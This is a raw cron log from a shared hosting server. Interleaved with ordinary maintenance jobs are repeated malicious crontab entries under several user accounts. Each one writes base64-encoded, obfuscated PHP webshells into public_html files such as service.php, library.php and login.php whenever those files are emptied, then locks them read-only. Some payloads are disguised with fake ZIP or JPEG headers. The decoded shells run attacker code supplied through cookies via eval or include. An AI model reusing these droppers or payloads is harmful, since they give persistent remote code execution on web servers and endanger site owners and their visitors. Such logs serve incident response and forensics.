V0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:27:02 medusa CROND[25157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:27:02 medusa CROND[25159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:27:02 medusa CROND[25160]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:27:02 medusa CROND[25163]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:27:02 medusa CROND[25166]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:27:02 medusa CROND[25167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:27:02 medusa CROND[25177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:28:01 medusa CROND[27006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:28:01 medusa CROND[27007]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:28:01 medusa CROND[27009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:28:01 medusa CROND[27010]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:28:01 medusa CROND[27011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:28:01 medusa CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:28:01 medusa CROND[27014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:28:01 medusa CROND[27016]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:28:01 medusa CROND[27017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:28:02 medusa CROND[27019]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:28:02 medusa CROND[27018]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:28:02 medusa CROND[27031]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:28:02 medusa CROND[27032]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:28:02 medusa CROND[27033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:29:01 medusa CROND[28755]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:29:01 medusa CROND[28756]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:29:01 medusa CROND[28758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:29:01 medusa CROND[28763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:29:01 medusa CROND[28764]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:29:01 medusa CROND[28767]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:29:01 medusa CROND[28766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:29:01 medusa CROND[28768]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:29:01 medusa CROND[28769]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:29:01 medusa CROND[28770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:29:01 medusa CROND[28762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:29:01 medusa CROND[28771]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 06:29:01 medusa CROND[28765]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:30:01 medusa CROND[30610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
